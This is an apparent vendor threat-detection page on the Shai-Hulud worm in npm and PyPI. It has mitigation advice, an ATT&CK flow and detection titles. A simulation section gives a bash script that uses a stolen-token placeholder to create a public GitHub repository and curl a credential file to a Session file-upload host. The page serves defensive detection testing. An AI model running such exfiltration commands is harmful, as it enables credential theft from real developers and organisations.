Shai-Hulud: Here We Go Again – Worm by TeamPCP Hits NPM and PyPI
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
The report details a supply-chain worm campaign that compromises npm and PyPI packages, injects malicious loaders, steals a broad range of developer and cloud credentials, and republishes tainted artifacts to continue spreading. The malware activates during package installation, collects secrets from CI/CD runners, cloud metadata endpoints, and local files, then exfiltrates the data through encrypted HTTP and GitHub repository writes. A built-in dead-man switch watches for token revocation and can trigger destructive actions on targeted systems. Researchers attribute the campaign to the TeamPCP threat group.
Investigation
JFrog researchers identified more than 170 malicious npm packages and two compromised PyPI packages that either embedded or downloaded obfuscated JavaScript or Python payloads. These payloads used pre-install scripts to fetch the Bun runtime, decrypt hidden code, and harvest credentials from GitHub Actions, npm, AWS, Kubernetes, Vault, and password managers. The stolen data was then exfiltrated through Session and Oxen nodes, GitHub commits, and a dedicated dead-drop repository. Persistence was maintained through systemd user services and macOS LaunchAgents designed to monitor token revocation events.
Mitigation
The report recommends disabling the malicious systemd and LaunchAgent services, deleting all persisted files, rotating any exposed tokens and cloud credentials, and rebuilding CI/CD runner images from clean snapshots. Organizations should also block traffic to the known malicious domains and URLs and use package control mechanisms such as JFrog Curation policies to prevent compromised dependencies from being installed.
Response
If the campaign is detected, defenders should immediately stop and delete services such as gh-token-monitor and pgsql-monitor, remove the associated binaries and malicious package files, rotate GitHub, npm, cloud, and Vault secrets, and isolate any affected build environments. Security teams should also update allow-lists and blocklists to prevent communication with the identified command-and-control infrastructure and continue monitoring for additional package publication attempts.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff6666 classDef process fill:#ccccff classDef data fill:#ccffcc classDef operator fill:#ff9900 %% Nodes node_supplychain["<b>Technique</b> – <b>T1195.001 Supply Chain Compromise: Compromise Software Dependencies</b><br/>Malicious preinstall scripts injected into npm and PyPI packages"] class node_supplychain action node_install["<b>Technique</b> – <b>T1204 User Execution</b><br/>Developer or CI/CD runner installs compromised package"] class node_install action node_obfuscation["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/>Payload uses heavy obfuscation including subu2011techniques T1027.001, T1027.004, T1027.008, T1027.015"] class node_obfuscation malware node_deobfuscate["<b>Technique</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Payload deobfuscates its code at runtime"] class node_deobfuscate process node_cred_harvest["<b>Technique</b> – <b>T1552.005 Credentials In Files: Cloud Accounts</b><br/>Harvests OIDC tokens and cloud credentials (npm, GitHub, AWS, GCP, Azure, Kubernetes)"] class node_cred_harvest action node_pass_manager["<b>Technique</b> – <b>T1555.005 Credentials In Password Stores</b><br/>Reads passwordu2011manager stores for saved secrets"] class node_pass_manager action node_local_config["<b>Technique</b> – <b>T1552.001 Credentials In Files: Passwords</b><br/>Reads local configuration files containing credentials"] class node_local_config action node_account_discovery["<b>Technique</b> – <b>T1087.004 Account Discovery: Cloud Account</b><br/>Enumerates cloud account identities"] class node_account_discovery action node_forge["<b>Technique</b> – <b>T1606 Forge Web Credentials</b><br/>Creates forged web credentials using stolen tokens"] class node_forge malware node_publish_trusted["<b>Technique</b> – <b>T1127 Trusted Relationship</b><br/>Publishes infected packages via trustedu2011publishing CI/CD workflows"] class node_publish_trusted tool node_publish_npm["<b>Technique</b> – <b>T1212 Exploitation for Credential Access (npm tokens)</b><br/>Directly publishes malicious packages using stolen npm authentication tokens"] class node_publish_npm tool node_modify_pkg["<b>Technique</b> – <b>T1176 Browser Extensions (Package Tampering)</b><br/>Modifies tarballs, bumps version numbers, injects malicious metadata"] class node_modify_pkg malware node_exfil_encrypted["<b>Technique</b> – <b>T1573.001 Encrypted Channel: Asymmetric Cryptography</b><br/>Exfiltrates stolen data to Session/Oxen nodes over encrypted channels"] class node_exfil_encrypted data node_exfil_fallback["<b>Technique</b> – <b>T1048.003 Exfiltration Over Web Services: Code Repository</b><br/>Commits exfiltrated data to a GitHub repository as a fallback"] class node_exfil_fallback data node_deadman["<b>Technique</b> – <b>T1070.010 Delete File (Deadu2011man Switch)</b><br/>Systemd or LaunchAgent monitors token revocation and triggers destructive rm -rf actions"] class node_deadman process node_cleanup["<b>Technique</b> – <b>T1070.010 Clear Windows Event Logs / Delete Files</b><br/>Deletes evidence and performs cleanup"] class node_cleanup process %% Connections node_supplychain –>|compromises| node_install node_install –>|triggers| node_obfuscation node_obfuscation –>|executes| node_deobfuscate node_deobfuscate –>|enables| node_cred_harvest node_cred_harvest –>|also reads| node_pass_manager node_cred_harvest –>|also reads| node_local_config node_cred_harvest –>|discovers| node_account_discovery node_cred_harvest –>|feeds| node_forge node_forge –>|enables| node_publish_trusted node_forge –>|enables| node_publish_npm node_publish_trusted –>|propagates| node_modify_pkg node_publish_npm –>|propagates| node_modify_pkg node_modify_pkg –>|leads to| node_exfil_encrypted node_exfil_encrypted –>|fallback| node_exfil_fallback node_exfil_fallback –>|triggers| node_deadman node_deadman –>|may delete| node_cleanup "
Attack Flow
Detections
Suspicious Executable Download (via proxy)
View
Possible Vscode Automatic Tasks Configuration File Created In Unusual Directory [MACOS] (via file_event)
View
Remote File Upload / Download via Standard Tools (via cmdline)
View
Possible Vscode Automatic Tasks Configuration File Created In Unusual Directory [LINUX] (via file_event)
View
Hidden File Was Created On Linux Host (via file_event)
View
IOCs (HashSha256) to detect: Shai-Hulud: Here We Go Again – Worm by TeamPCP Hits NPM and PyPI
View
IOCs (SourceIP) to detect: Shai-Hulud: Here We Go Again – Worm by TeamPCP Hits NPM and PyPI
View
IOCs (DestinationIP) to detect: Shai-Hulud: Here We Go Again – Worm by TeamPCP Hits NPM and PyPI
View
Detection of Shai-Hulud Exfiltration Channels [Proxy]
View
Detection of Malicious Package Installation and Memory Scraping [Linux Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands
The adversary possesses a stolen GitHub personal access token (PAT) that grants
reposcope. Their goal is to stage exfiltrated credentials in a newly created public repository, then upload the same encrypted credential file to the Session/Oxen infrastructure for downstream retrieval.- Create a new public repository via the GitHub API
POST https://api.github.com/user/reposwith JSON payload{ "name": "shai-hulud-exfil", "private": false }. - Upload an encrypted credential file to the Session/Oxen endpoint
POST https://filev2.getsession.org/fileusing multipart/form-data. - Record the HTTP request logs (method, URL, headers) which match the Sigma rule’s
selection.urls.
- Create a new public repository via the GitHub API
-
Regression Test Script
#!/usr/bin/env bash set -euo pipefail # ---- USER INPUT ------------------------------------------------- GITHUB_TOKEN="REPLACE_WITH_STOLEN_TOKEN" REPO_NAME="shai-hulud-exfil" SESSION_UPLOAD_URL="https://filev2.getsession.org/file" CRED_FILE="encrypted_creds.bin" # ------------------------------------------------------------------ # 1. Create public GitHub repository echo "[*] Creating public GitHub repository '${REPO_NAME}'" curl -s -X POST "https://api.github.com/user/repos" -H "Authorization: token ${GITHUB_TOKEN}" -H "Accept: application/vnd.github.v3+json" -d "{"name":"${REPO_NAME}","private":false}" -o /dev/null # 2. Upload encrypted credentials to Session/Oxen echo "[*] Uploading encrypted credential file to Session/Oxen" curl -s -X POST "${SESSION_UPLOAD_URL}" -F "file=@${CRED_FILE}" -H "User-Agent: Mozilla/5.0 (compatible; ShaiHulud/1.0)" -o /dev/null echo "[+] Simulation completed – detection telemetry should be present." -
Cleanup Commands
#!/usr/bin/env bash set -euo pipefail GITHUB_TOKEN="REPLACE_WITH_STOLEN_TOKEN" REPO_NAME="shai-hulud-exfil" # Delete the GitHub repository created during the test echo "[*] Deleting test repository '${REPO_NAME}'" curl -s -X DELETE "https://api.github.com/repos/$(curl -s -H "Authorization: token ${GITHUB_TOKEN}" https://api.github.com/user | jq -r .login)/${REPO_NAME}" -H "Authorization: token ${GITHUB_TOKEN}" -o /dev/null echo "[+] Cleanup completed."